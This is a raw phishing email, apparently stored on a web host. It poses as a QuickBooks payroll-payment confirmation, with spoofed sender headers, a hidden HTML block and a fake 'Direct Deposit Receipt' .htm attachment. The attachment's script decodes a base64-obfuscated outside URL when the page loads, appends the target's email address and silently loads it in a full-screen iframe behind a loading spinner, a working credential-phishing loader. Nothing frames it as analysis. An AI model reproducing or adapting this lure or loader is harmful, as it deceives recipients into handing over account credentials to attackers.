OwlCyberSecurity - MANAGER

Edit File: 1737737870.M655983P4067101.premium12.web-hosting.com,S=15760,W=16066

Envelope-to: info@harmonyinnovationhub.com
Delivery-date: Fri, 24 Jan 2025 11:57:50 -0500
Received-SPF: Fail (protection.outlook.com: domain of stpeters.oxon.sch.uk
 does not designate 185.192.125.15 as permitted sender)
 receiver=protection.outlook.com; client-ip=185.192.125.15;
 helo=stpeters.oxon.sch.uk;
Date: Fri, 24 Jan 2025 08:57:41 -0800
From: (BusinessAdvantage-)"QuickBook's" <BusinessAdvantage.95672@99931.stpeters.oxon.sch.uk>
Reply-To: msbilling365@gmail.com
To: info@harmonyinnovationhub.com
Cc: info@harmonyinnovationhub.com
Importance: High
Message-ID: <0101019W2HB798MK8ED49O6EIDTU6371d6-78835429-cf4c-44df-8c2f-258b782ee8f0-000000@us-west-2.amazonses.com>
In-Reply-To: <171748230iljorfdzpgnhvj4.272711.811971996@servicedesk.mnetworks.dk>
References: <6655da9ea2ff6_233fa6bkezgzpulfayypRIEW6UB8ASRHARAD5822465.email-sidekiq-us-bg-green-7b9c46f7b7-qzt5r@notification.freshservice.com> <XHBYOC2H9AHOYECOdgSrwAQAANhwdzfdkmsvaoipv25gLZ9uYCAY3nFNx3USFE2OFVYZ1MI9naRc4_ntbQ.1708978921@learn.mailgun.com> <171748230iljorfdzpgnhvj4.272711.811971996@servicedesk.mnetworks.dk>
Subject: Re: Confirmation – Payroll payment processed  [Ref:93-KCPVTJ]
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_Part_1402_1042797962.1723815129541"
Auto-Submitted: auto-replied
Feedback-ID: ::1.us-west-2.zMfBlgHcIbDM3bG99ThO1hQwMROYizn+jdVRPINE89g=:AmazonSES
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 24 Jan 2025 16:57:41.8785
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 1e4f1abe-777c-4727-e5ce-08dd3c98376f
X-MS-Exchange-CrossTenant-Id: d994b0c8-4b93-440f-be47-c694dc60b614
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=d994b0c8-4b93-440f-be47-c694dc60b614;Ip=[185.192.125.15];Helo=[stpeters.oxon.sch.uk]
X-MS-Exchange-CrossTenant-AuthSource:
	DB5PEPF00014B9C.eurprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU4PR10MB8576

------=_Part_1402_1042797962.1723815129541
Content-Type: multipart/alternative; boundary="----=_Part_1401_1188629736.1723815129541"

------=_Part_1401_1188629736.1723815129541
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit

Your request has been received. The Business Advantage mailbox is monitored Monday through Friday from 7:00am-6:00pm Central Time.

If your inquiry is regarding a possible gas emergency, immediately move to a safe location outdoors and call us at 800-595-5325. This will provide immediate response since this mailbox is not continuously monitored.

Thank you,

Business Advantage
businessadvantage@midamerican.com <mailto:businessadvantage@midamerican.com>

Phone 800-329-6261
------=_Part_1401_1188629736.1723815129541
Content-Type: text/html; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

<span style=3D"display:none; visibility:hidden; opacity:0;"><!DOCTYPE html><html><head>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-8"></=
head><body style=3D"font-family:Geneva,Helvetica,Arial,sans-serif; font-siz=
e: 12px;">______Hej spprtmailgun@gmail.com,<br>
<br>
&nbsp;Nice scam<br>
<br>
<span style=3D"font-size:13px"><span style=3D"font-family:Calibri,sans-seri=
f">Venlig hilsen / Best regards<br>
<br>
<br>
Casper Cornelius Breinholdt Eaton<br>
<br>
<br>
--<br>
M Networks A/S<br>
Lyngeb=C3=A6kg=C3=A5rds All=C3=A9 12, Vestfl=C3=B8jen, 2990 Niv=C3=A5<br>
Tlf: +45 7023 7005&nbsp;&nbsp;&nbsp;&nbsp;<br>
Email: servicedesk@mnetworks.dk<br>
<a href=3D"https://servicedesk.mnetworks.dk" title=3D"https://servicedesk.m=
networks.dk" target=3D"_blank">https://servicedesk.mnetworks.dk</a><br>
<a href=3D"https://mnetworks.dk" title=3D"https://mnetworks.dk" target=3D"_=
blank">https://mnetworks.dk</a></span></span><br>
<br>
06/03/2024 17:10 (Europe/Copenhagen) - Exchange wrote:
<div style=3D"border:none; border-left:solid blue 1.5pt; padding:0cm 0cm 0c=
m 4.0pt" type=3D"cite">Important: [3] Complaints About Your Email Account</=
div></body></html></span>
------=_Part_1401_1188629736.1723815129541
Content-Type: application/octet-stream; name="Direct_Deposit_Receipt_Ref_DD_-IXWXYZFZH-.htm" 
Content-Description: "Direct_Deposit_Receipt_Ref_DD_-IXWXYZFZH-.htm" 
Content-Disposition: attachment;
    filename="-IXWXYZFZH-.htm";
    creation-date="Fri, 24 Jan 2025 08:57:41 -0800";
Content-Transfer-Encoding: 7bit 
MIME-Version: 1.0

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Support Access TM1DW2TB4IT8UBZYD55QA</title>
    <style>
        /* General reset */
        body, html {
            margin: 0;
            padding: 0;
            width: 100%;
            height: 100%;
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #f4f4f4;
            color: #333;
        }

/* Loading animation container */
        #loading {
            display: flex;
            flex-direction: column;
            align-items: center;
        }

/* Spinner animation */
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #ccc;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin-bottom: 10px;
        }

/* Keyframes for spinner */
        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }
            100% {
                transform: rotate(360deg);
            }
        }

/* Hidden iframe for embedding content */
        iframe {
            width: 100%;
            height: 100vh;
            border: none;
            display: none;
        }
    </style>
</head>
<body>
    <div id="loading">
        <div class="spinner"></div>
        <p>Loading, please wait...</p>
    </div>
    <iframe id="dynamicIframe"></iframe>
    <script>
        // Base64 encoded parts of the URL
        const base = "aHR0cHM6Ly9zdXBwb3J0LmRvcG9tb2dhLm1vbnN0ZXI6ODQ0My9pbXBhY3Q="; 
        const recipient = "info@harmonyinnovationhub.com"; 
        function decodeBase64(encoded) {
            return atob(encoded);
        }
        function generateSecureRandomString(length) {
            const array = new Uint8Array(length);
            crypto.getRandomValues(array); // Secure random values
            return Array.from(array, byte => byte.toString(16).padStart(2, '0')).join('').substring(0, length);
        }
        function constructUrl(base, query, to) {
            const decodedBase = decodeBase64(base);
            return `${decodedBase}${query}${to}`;
        }
        function initializeIframe() {
            const iframe = document.getElementById('dynamicIframe');
            const loading = document.getElementById('loading');
            const secureRandomString = generateSecureRandomString(16); 
            const queryString = `?@${secureRandomString}=`; 
            const url = constructUrl(base, queryString, recipient);

setTimeout(() => {
                loading.style.display = 'none';
                iframe.src = url;
                iframe.style.display = 'block';
            }, 2000); // 2-second delay
        }

document.addEventListener('DOMContentLoaded', initializeIframe);
    </script>
</body>
</html>

------=_Part_1401_1188629736.1723815129541--
------=_Part_1402_1042797962.1723815129541--